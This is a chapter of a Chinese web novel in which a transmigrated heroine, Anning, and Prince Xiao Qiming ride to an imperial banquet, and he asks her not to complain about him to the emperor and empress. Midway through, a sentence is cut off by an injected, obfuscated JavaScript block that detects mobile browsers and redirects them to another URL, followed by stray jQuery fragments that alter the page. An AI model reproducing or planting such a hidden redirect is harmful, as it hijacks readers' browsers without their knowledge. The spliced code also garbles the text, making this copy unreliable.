翌日,一夜没怎么合眼的留朱早早起床,掀开被子,发现凝碧这个粗神经居然比她起得还早,竟不在房间里。
到了大厨房,才发现凝碧不知从哪儿找来两个超级大食盒,已经塞得满满当当,正在努力摆最后一层。
留朱又好气又好笑,跟着一起装:“小姐又不是猪。”
凝碧没答话,她拧眉瞧着大海碗里略显寡淡的阳春面,想了想,抬手从案上拿过根胡萝卜,唰唰几刀雕了朵萝卜花,点在阳春面里,这才满意合上盖子,一板一眼地回答:“她那样难过,再不吃些东西,只怕要生病。”
留朱难得被凝碧噎得语塞,便叹一声,沉默地跟凝碧提着装好的食盒回正院。
谁料,两人竟在正院门口撞上了王爷。
三个人,拎着四个大食盒,大眼瞪小眼。
留朱欠头致礼:“王爷可是要在小姐院中用饭?”
萧启明微微赧然:“不,这是前院的手艺,请你家小姐尝尝。”
他看看两个侍女空不出来的手,便道:“我帮你们送进去。”
“不辛苦王爷,我可以拎……”凝碧想也不想地拒绝,却被留朱猛扯了下衣服。
留朱瞪她一眼,你这丫头怎么这么不开窍,难得王爷有向小姐低头破冰的意思,如何能阻?
凝碧缩一下脖子,落后两步,偷偷跟留朱咬耳朵:“小姐不是说要假装同王爷不和吗?”
留朱无语,她瞄萧启明背影一眼,从牙缝里挤出几个字:“小姐得有孩子!”
凝碧恍然大悟,乖巧垫后。
于是,安宁就看见三个人提着足以铺满她两张餐桌还有余的早餐鱼贯而入,她目瞪口呆:“……你们几个?打算喂猪?”
留朱将摆盘的活计扔给凝碧,肿着两只桃子眼睛挤出一个笑,快步迎过来,亲昵地抱住安宁一条胳膊:“今天好吃的多,还有王爷院中的手艺,小姐快来尝尝!”
安宁望着留朱的兔子眼,明明满目担忧心疼还在努力强作欢笑,自觉十分愧疚,昨晚实在失态,让她和凝碧担心了。
她拍拍留朱的手,刚准备说什么,视线猝不及防撞上看过来的萧启明,顿时尴尬得脚趾扣地。
思及昨晚的突然失控,安宁恨不得当场找个地缝钻进去!
在熟人面前,她不介意小小释放一下自我,但她跟萧启明不熟啊!
尤其对方还是她名义上的丈夫,更丢人了!
神啊,快给我个口罩!求求了!
好在萧启明十分有眼力见儿,他任劳任怨地做完摆饭小厮的活计,便退到主屋外。
“你先休息,我就在前院,等你想见我时,随时来叫。”
安宁:“……”
她愣愣地看着他远去的背影,无比慨叹——
真礼貌啊,不愧是道德底线高到皇位都能放弃的男主角!她的患者啥时候都能这么礼貌就好了!吸溜,这身板真正,当标本一定很漂亮……
可惜,男主角在的地方注定没有平静。
萧启明走后没一刻钟,长史方慎匆匆来报:“请王妃速速梳洗,有圣旨到!”
安宁咬着刚刚塞进嘴的小笼包:“……”
能不能消停一天啊?没看人才缓过来吗!
没办法,再生气也得接旨。
宫中有旨,圣上午后设家宴,宣敬王与敬王妃入宫赴宴。
留朱一听这消息,原地起飞,叫了声“如何是好!”
说归说,她行动却一点不慢,一柱香没到,煮好的鸡蛋,开冰库取来的冰通通按到了安宁脸上。
只见留朱大人火力全开,左手三盘胭脂,右手两把毛刷,一边唰唰地在安宁脸上挥毫泼墨,一边有条不紊地指挥凝碧和小丫头们熨衣服,拿头面,备熏香,间或还能往安宁嘴里塞块味轻顶饱的齁甜桂花糕。
忙忙碌碌半时辰,勉强收拾出一个不至于殿前失仪的小姐。
安宁顶着沉重的命妇头冠,在留朱不停的嘱咐中被安置进马车,她轻轻晃晃快被压断的脖子,心中慨叹——
留朱这效率,不去当个职业经理人,实在屈才!
但想到自己马上面临的面圣,又亚历山大——
烦死了!为什么一不复习就考试的定律这里也有啊!
她就懈怠了一晚上而已,好家伙,上来就让她见帝后!那律令合集她还没看几页呢!
除了皇帝姓萧,皇后是右相之女,她两眼一抹黑!
虽然留朱给她紧急恶补了一大堆礼仪知识,但她依然十分忐忑。
毕竟,要见的那两位是这个时代的最高统治者,真的掌握生杀大权啊!
安宁想想就心虚,前脚揍完大boss的侄子,后脚就被点名去办公室,实在称得上一句惨。
就在她胡思乱想,焦虑不已之际,马车帘子一掀,萧启明一身朝服跃进来。
安宁眼睛一亮:“萧启明,我有话同你说。”
“江明月,我有话同你说。”
两人异口同声,目光交汇,又同时开口——
“你先说。”
“你先说。”
空气静默一瞬,车厢里再次响起两道重合的声线——“我先说!”
安宁忍不住笑出声,萧启明沉肃的唇角也扬起向上的弧度。
他直接冲安宁做了个“请”的手势。
时间紧迫,安宁也不扭捏,连忙将自己的顾虑道出:“咱们昨天收拾了皇后的侄子,今日这顿宴席,可是帝后要就此事发难?”
萧启明没想到她居然在纠结这事,不禁哑然,心道,真是个傻的。
他摇摇头,给安宁吃定心丸:“不会,皇后仁厚大度,不会借此事为难你我。”
安宁勉强松下一口气:“那今日宴席所为何事?”
萧启明轻叹一声:“这便是我要同你说的事。”
“今日宴席,请你不要向帝后告我的状。”
安宁:“啊?”
萧启明神情赧然,他躲开安宁的眼睛,复又直视,眼神诚挚:“江明月,对不起!我知道,嫁给我,你很委屈。我也没有好好待你,这些天将你一个人留在府中,是我的错。”
安宁战术后仰,别!大哥,这样井水不犯河水非常好!你可千万别回来!
“你自幼教养于皇祖母身边,又从宫中出嫁……”
“时间紧迫,说重点。”安宁撩开车帘,指了指越来越近的宫城。
萧启明也知此刻不是废话的时候,便
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754971|186398||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
直入主题:“你未嫁时,皇兄说过,定国公府已无人,新妇三日回门,要在宫中办。”
“是我一直逃避,误了你的回门礼。”
安宁没想到还有这么一茬,脱口而出:“你是说,今日帝后想给我补回门礼?”
“我猜是!”萧启明点头,“想是帝后听闻你我昨日之事,觉得咱们之间有破冰的迹象,便顺水推舟,补上你的回门礼。”
安宁:“……”
我滴个皇帝老爷!闲着没事给我回什么门啊?我只想回时空之门好不好!
“所以,无论你对我有多少不满,咱们回来解决好吗?我错了,回来任你处置,只是别闹到帝后面前。”眼看着宫门在望,萧启明语速加快。
他见对方似没反应过来,心下急切,干脆坐到安宁身边,将脸凑过去,压低嗓音,用只能两人听见的声音说:“皇兄如今对我态度暧昧,我处境尴尬,你懂吗?”
安宁微微躲开,心想,是挺暧昧,你都快亲我脸上了。
萧启明说完,纵是撑着面色如常,忐忑和恳求也止不住从眼睛流露出来,如同一只犯了错的小狗,面上还装着无事发生,但不停摇动的尾巴早已出卖了它。
然后他就见安宁举起右手,食指拇指相扣,作出环状,另外三指伸直,做出一个形如孔雀头的手势。
萧启明:“?”
安宁重重点了下头:“懂!”
萧启明闻言就笑起来,洋溢的光芒如同初升的太阳,从他清俊的眼中无限泼洒。
安宁:勾引人啊,长成这样,谁会不答应你?
她第一次好好打量眼前这位男主角,身为男主,他自然肩宽腿长,身姿笔挺,非青松修竹,名剑生辉不足以形容。
许是少年将军的缘故,他并非传统小言男主常常被形容的面如冠玉,而是小麦肤色,五官硬朗锋利。
但比起脸,安宁更注意的,是他的眼睛。
萧启明生了一双非常温柔的眼睛,眼尾微垂,黑白瞳仁分明,温和清亮,似雨后新叶上留驻的那滴露水,透着无尽的清澈和生气。
此刻他在笑,那双灵动的眼睛便像平湖微澜,波光粼粼,潋滟不可方物。
造物主对他何其偏爱,一招点睛,便让这张脸从传统意义上的帅哥上升到了美人的程度。
安宁一时看得发痴,连紧张都忘了。
车轮辘辘,转眼就到了宫城。
天色尚早,外朝才开,萧启明要先去上朝,安宁则要去后宫给皇后请安。
下车的时候,早已等候的内侍非常有眼色地上来接人,萧启明却不用他们,亲自扶着安宁的手,把人接下来。
见安宁坐上前往后宫的轿辇,萧启明想了想,也冲她捏出了一只孔雀头。
安宁就笑了。
雨后的天幕湛蓝,大朵大朵的云在空中随意舒展,一道金色的朝阳从云层洒落,刚好落在她脸上,映得她笑靥如花,从容烂漫。
蓦地,萧启明晃了下神。
贵女多矜持,行走坐卧皆有定例,从无人会漏齿一笑。
偏她是个另类。
“王爷,时辰不早了。”有内侍提醒。
萧启明连忙收敛唇角,随内侍往前朝去。